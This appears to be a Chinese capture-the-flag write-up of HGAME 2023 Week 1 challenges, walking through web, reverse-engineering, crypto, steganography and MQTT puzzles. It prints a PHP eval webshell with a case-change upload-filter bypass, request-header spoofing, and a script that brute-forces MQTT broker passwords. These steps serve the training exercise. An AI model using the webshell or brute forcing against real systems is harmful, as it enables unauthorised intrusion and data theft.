HGAME Week1

web

Classic Childhood Game

前端实现的小游戏,flag应该藏在js代码里.

将页面js代码拉取到本地,查看一番,发现在游戏结束时(不论哪种结局)会执行一个`mota()`函数.

```
function mota() {
  var a =
['\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x7
3\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72
\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\
x56\x31\x59\x35'];
  (function (b, e) {
    var f = function (g) {
      while (--g) {
        b['push'](b['shift']());
      }
    };
    f(++e);
  }(a, 0x198));
  var b = function (c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['CFrzVf'] === undefined) {
      (function () {
        var g;
        try {
          var i = Function('return\x20(function()\x20' +
'{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
          g = i();
        } catch (j) {
          g = window;
        }
        var h =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        g['atob'] || (g['atob'] = function (k) {
          var l = String(k)['replace'](/=+$/, '');
          var m = '';
          for (var n = 0x0, o, p, q = 0x0; p = l['charAt'](q++); ~p && (o = n %
0x4 ? o * 0x40 + p : p, n++ % 0x4) ? m += String['fromCharCode'](0xff & o >>
(-0x2 * n & 0x6)) : 0x0) {
            p = h['indexOf'](p);
          }
          return m;
        });
      }());
      b['fqlkGn'] = function (g) {
        var h = atob(g);
```

```
        var j = [];
        for (var k = 0x0, l = h['length']; k < l; k++) {
          j += '%' + ('00' + h['charCodeAt'](k)['toString'](0x10))['slice']
(-0x2);
        }
        return decodeURIComponent(j);
      };
      b['iBPtNo'] = {};
      b['CFrzVf'] = !![];
    }
    var f = b['iBPtNo'][c];
    if (f === undefined) {
      e = b['fqlkGn'](e);
      b['iBPtNo'][c] = e;
    } else {
      e = f;
    }
    return e;
  };
  alert(atob(b('\x30\x78\x30'))); //0x0
}
```

在本地运行一下这个函数,得到flag.

Become A Member

HTTP请求题,按照页面的提示一步步修改请求头.

- `User-Agent: Cute-Bunny`
- `Cookie: session=MTY3Mjk3NzQ4MnxEdi1CQkFFQ180SUFBUkFCRUFBQUhmLUNBQUVHYzNSeWFXNW5EQWdBQm5OdmJIWmxaQU5wYm5RRUFnQUF8umwvFt1kFvkEYvDBpPU2ooWFiJlqe8u5H6L0QjmkJQ0=; PHPSESSID=s0rnl4cerbr5st7h5fjhj18vo1; code=Vidar`

  > 这个,其实第一反应是GET传参数code=Vidar,尝试后发现不行,于是就放在Cookie里了.

- `Referer: bunnybunnybunny.com`
- `X-Forward-For:127.0.0.1`

最后得到了vip账户的账号和密码.

在请求报文主题里以json格式添加账户密码即可得到flag.

```
{
    "username":"luckytoday",
    "password":"happy123"
}
```

Guess Who I Am

f12发现提供了包含所需信息的文件.

写一个python脚本帮我们完成繁琐的答题过程.

```
from time import sleep
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import json

url = 'http://week-1.hgame.lwsec.cn:32425/'

# 这里是直接把仓库里的整个成员列表放在文件里了,这里就不展示了
items =[信息列表]

driver = webdriver.Chrome()
driver.get(url)
sleep(1)

'''
for i in range(100):
    pageItem = driver.find_element(By.CLASS_NAME,
"question").get_attribute('value')
    print(pageItem)
'''
for i in range(101):
    for item in items:
        if ( (item['intro']) == driver.find_element(By.CLASS_NAME,
"question").get_attribute('value') ):
            driver.find_element(By.CLASS_NAME, "n-input__input-
el").send_keys(Keys.CONTROL+'a')
            driver.find_element(By.CLASS_NAME, "n-input__input-
el").send_keys(Keys.DELETE)
            driver.find_element(By.CLASS_NAME, "n-input__input-
el").send_keys(item['id'])
            break

    sleep(1)
    driver.find_element(By.CLASS_NAME, "n-button").click()
    sleep(1)
    driver.switch_to.alert.accept()

sleep(10)
```

答题100次后就可以得到flag.

> 另外,尝试了下人工答题,配合vscode查找功能,实际上也只用了20min.

Show Me Your Beauty

文件包含题目.

抓包后确定后端语言为`php`,那思路就是文件上传包含一句话木马的文件,然后和蚁剑连接读取flag.

```
<?php @eval($_GET('cmd'));?>
```

修改文件改后缀名,然后在请求报文中改回php,报错,说明后端也存在检测,应该只是黑名单过滤,把`php`字符过滤掉了.

抓包后修改后缀大小写为`PHP`,然后蚁剑连接`http://week-1.hgame.lwsec.cn:31803/img/shell.PHP`,转到根目录下读取flag.

> 如果只是前端检测的话,报文中把.jpg后缀改为.php应该就行,但实际情况是这样做会导致报错,说明后端也存在检测.

Re

test your IDA

下载IDA软件,将附件里面的可执行文件拽进去,检查一下就可以发现flag.

easyasm

汇编题,程序首先定义了一个变量"i",并将其设置为0,然后使用"strlen"函数计算字符串的长度,并将该值存储在变量"eax"中,之后使用一个循环,遍历字符串中的每个字符.在每次循环中，程序将当前字符的ASCII码与`0x33`进行XOR运算,并将结果重新存储在该字符位置,最后返回加密后的字符串。

分析完流程后写个python脚本解密一下.

```
def dec(cs):
    a = bytearray()
    b = 0x33
    for c in cs:
        a.append(c ^ b)
    return a.decode()

flag = bytearray([0x5b, 0x54, 0x52, 0x5e, 0x56, 0x48, 0x44, 0x56, 0x5f, 0x50,
0x3, 0x5e, 0x56, 0x6c, 0x47, 0x3, 0x6c, 0x41, 0x56, 0x6c, 0x44, 0x5c, 0x41, 0x2,
0x57, 0x12, 0x4e])
print(dec(flag))
```

执行这个脚本,得到flag.

Pwn

test_nc

写wp的时候平台题目环境启动不了了.....

脑子里记得的流程就是按照题目环境提供的url和端口号在本地终端中nc连接,然后`cat flag`即可得到flag.

Crypto

RSA

分析一下加密文件.

首先调用getPrime(512)生成了两个大素数p和q,然后将p和q相乘得到n,将公钥e设置为65537,然后将flag文件读入并转化为整数m,最后,使用pow(m, e, n)进行加密,得到密文c.

网上找个网站把n分解,得到p和q,然后构造出私钥解密就行,解密脚本如下.

```
from Crypto.Util.number import *

c =
110674792674017748243232351185896019660434718342001686906527789876264976328686134
101972125493938434992787002915562500475480693297360867681000092725583284616353543
422388489208114545007138606543678040798651836027433383282177081034151589935024292
017207209056829250152219183518400364871109559825679273502274955582
n =
135127138348299757374196447062640858416920350098320099993115949719051354213545596
643216739555453946196078110834726375475981791223069451364024181952818056802089567
064926510294124594174478123216516600368334763849206942942824711531334239106807454
086389211139153023662266125937481669520771879355089997671125020789
e = 65537

p =
112391349878049935867635590281872450576525502195152017686447707338690881853207409
384501788161383948443297233114335498994997957756559212616640879970972948 13
q =
120229126614209415925697517318026393750884274634301622521130826196178370109130025
154502236569428363780411221638333590979109356384234640062528142669591289 53

# 构造出私钥d
d = inverse(e, (p-1)*(q-1))

# 解密
m = pow(c, d, n)

print(long_to_bytes(m))
```

> 这题卡了一段时间,因为很愚蠢地不知道n这种程度的数可以在网上找个网站随便解.

神秘的电话

base64解码给出的txt文件内容,得到以下提示.

> 几个星期前，我们收到一个神秘的消息。但是这个消息被重重加密，我们不知道它的真正含义是什么。唯一知道的信息是关于密钥的：“只有倒着翻过十八层的篱笆才能抵达北欧神话的终点”。

重重加密,问了下学长,确定`翻过十八层的篱笆`指的是栏数为18的栅栏密码,而`倒着`就是字面意思.

先把摩斯电码记下来.

```
-----/.----/.----/.----/./.---.-/.--./.-./../../-.../.-../-.--/.---.-/..-
-.-/..../---/-./.--/.-/.---.-/.---/--/--./..../.---.-/..-./--./-.-/-.-./--.-/.-/-
--/--.-/-/--/..-./.-.
```

然后摩斯电码解码.

```
0223e_priibly__honwa_jmgh_fgkcqaoqtmfr
```

然后倒过来.

```
rfmtqoaqckgf_hgmj_awnoh__ylbiirp_e3220
```

然后栅栏密码.

```
rmocfhm_wo_ybipe2023_ril_hnajg_katfqqg
```

北欧神话很好理解,就是`vidar`,然问题是不知道什么加密算法.

康了康去年的题目,发现了一个`维吉尼亚密码`,把`vidar`作为密钥,解码得到flag.

```
welcome_to_hgame2023_and_enjoy_hacking
```

Be Stream

这个没做出来,只会用循环算法替代递归.

```
stream(i):
 a, b = key[0], key[1]
 for _ in range(i):
     a, b = b, (a*7 + b*4)
 return a
```

最终解密脚本.

```
enc=b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-
\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-
pm\x1f\x17\x1bY'
# len(enc)=48
```

```
dec=b''

key = [4784265876259235186, 2019423192753765707364]

def stream(i):
    a, b = key[0], key[1]
    for _ in range(i):
        a, b = b, (a*7 + b*4)
    return a

for i in range(len(enc)):
    water = stream((i//2)**6) % 256
    dec += bytes([enc[i] ^ water])
    print(dec)
```

跑了46h,最后得到了接近2/3的flag,剩下的没跑出来.

```
b'hgame{1f_this_ch@l|eng3_take_you'
```

Misc

Sign In

签到题,base64解码得到flag.

```
aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==
```

Where am I

> 这个题绕了很长一个圈子.....

附件下载下来是一个pcapng流量包,追踪http流发现了一个上传的rar压缩包,将这个请求报文保存到本地,掐头去尾留下rar文件包,尝试解压的过程中发现存在伪加密,使用010Editor打开rar压缩包,修改第24位的`4`为`0`,然后解压rar包,获取一张全黑的图片(?),右键查看属性后得到经纬度.

```
// 按照提示只保留两位小数
经度:116; 24; 14.88
纬度:39 ; 54; 54.18
```

不知道东西经南北纬,于是就一种种尝试,也就四种组合.😋

神秘的海报

`LSB`隐写,使用`stegsolve`修改后得到一半`flag`,

```
hgame{U_Kn0w_LSB&W
```

按照提示访问网站,听过了一段音频,将wav文件下载到本地,使用`steghide`分离隐藏文件,密码使用的`123456`,然后得到一个`flag2.txt`文件,里面就是剩下的`flag`.

```
steghide extract -sf Bossanova.wav
cat flag2.txt
```

```
恭喜你解到这里，剩下的Flag是 av^Mp3_Stego}，我们Week2见!
```

e99p1ant_want_girlfriend

CRC校验问题,基本思路就是用脚本爆出长宽,然后将图片宽高修改为正常值就行.

> windows下好像只需要改大图片的高即可,linux需要找出原图的高宽将图片复原...

于是写脚本爆破出原图的长宽,得到一张🍆皇,和一串flag!

脚本展示如下.

```
import os
import binascii
import struct

for i in range(20000):
    wide = struct.pack('>i',i)
    for j in range(20000):
        high = struct.pack('>i',j)
        data = b'\x49\x48\x44\x52' + wide+ high+b'\x08\x06\x00\x00\x00'

        crc32 = binascii.crc32(data) & 0xffffffff
        if crc32 == 0xA8586B45:
            print('\n\n',i,j,crc32)
            print(type(data))
            exit(0)
    print(i,end=' ')
```

Iot

Help the uncle who can't jump twice

附件里给出了一长长长串密码,结合题目里提供的`broker:117.50.177.240:1883`,先写个脚本找一找正确的密码.

```
import os
import subprocess

broker_ip = "117.50.177.240"
broker_port = "1883"
username = "Vergil"
password_file = "password.txt"

with open(password_file, "r") as f:
    for line in f:
        print(line.strip())
        command = "mosquitto_sub -h 117.50.177.240 -p 1883 -t 'yamato' -u Vergil
-P {0}".format(line.strip())
        os.system(command+'\n')
```

爆破了一会儿,找到了`power`!

然后访问`Nero`.

```
mosquitto_sub -h 117.50.177.240 -p 1883 -t "Nero" -u Vergil -P power
```

输出为

```
yamato
```

按照学长的提示,访问YAMATO是Nero的子主题,需要

```
mosquitto_sub -h 117.50.177.240 -p 1883 -t "Nero/YAMATO" -u Vergil -P power
```

然后得到flag.